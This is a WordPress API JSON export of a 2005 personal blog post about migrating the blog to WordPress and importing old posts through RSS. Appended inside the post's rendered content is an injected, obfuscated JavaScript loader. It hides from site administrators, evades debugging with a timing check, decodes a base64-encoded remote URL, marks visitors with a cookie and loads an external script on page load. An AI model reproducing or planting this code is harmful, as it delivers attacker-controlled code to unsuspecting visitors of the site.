{"id":2,"date":"2005-06-28T01:35:47","date_gmt":"2005-06-28T01:35:47","guid":{"rendered":"\/?p=2"},"modified":"2025-10-17T13:44:20","modified_gmt":"2025-10-17T17:44:20","slug":"callblogs-data-persistence","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/callblogs-data-persistence","title":{"rendered":"Callblog&apos;s Data Persistence"},"content":{"rendered":"<p>I\u00e2\u20ac\u2122m not sure I care about keeping all the old callblog posts.\u00c2\u00a0 I think I should, but for the most part all my posts are pointless rambling and not really worth the time and effort of keeping around.\u00c2\u00a0 I feel like it would be nice to start anew.\u00c2\u00a0 Even if I import them all into whatever I decide to install next (leaning heavily towards WordPress, as I said before), all the permalinks are going to be break, and when I switch the gallery out, all the images are going to break as well.<\/p>\n<p>I suppose since I\u00e2\u20ac\u2122ve already got WP running in stealth on the web root I can take all the time in the world to play around with import scripts that I\u00e2\u20ac\u2122ll have to write myself.<\/p>\n<p>I switched to EE becuase 1.) it was free at the time and 2.) my MT install\u00e2\u20ac\u2122s database was totally trashed by something.\u00c2\u00a0 I had to install some sort of blog software, and I didn\u00e2\u20ac\u2122t want to just put MT back on after it had porked me so badly.\u00c2\u00a0 EE was there, and seemed like a steal at $0. Now I\u00e2\u20ac\u2122m basically back where I began.\u00c2\u00a0 I guess I got what I paid for.<\/p>\n<p><strong>UPDATE:<\/strong> Turns out that importing posts was easy using WP\u00e2\u20ac\u2122s rss import feature (that\u00e2\u20ac\u2122s not linked to anywhere in the control panel, you have to type the URL manually, as far as I can tell).  Comments will have to be a done on the backend (if at all), and I\u00e2\u20ac\u2122ll still have to dig through each entry to make sure everything is okay.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I\u00e2\u20ac\u2122m not sure I care about keeping all the old callblog posts.\u00c2\u00a0 I think I should, but for the most part all my posts are pointless rambling and not really worth the time and effort of keeping around.\u00c2\u00a0 I feel like it would be nice to start anew.\u00c2\u00a0 Even if I import them all into [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-2","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/2","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/comments?post=2"}],"version-history":[{"count":1,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/2\/revisions"}],"predecessor-version":[{"id":853,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/2\/revisions\/853"}],"wp:attachment":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/media?parent=2"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/categories?post=2"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/tags?post=2"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}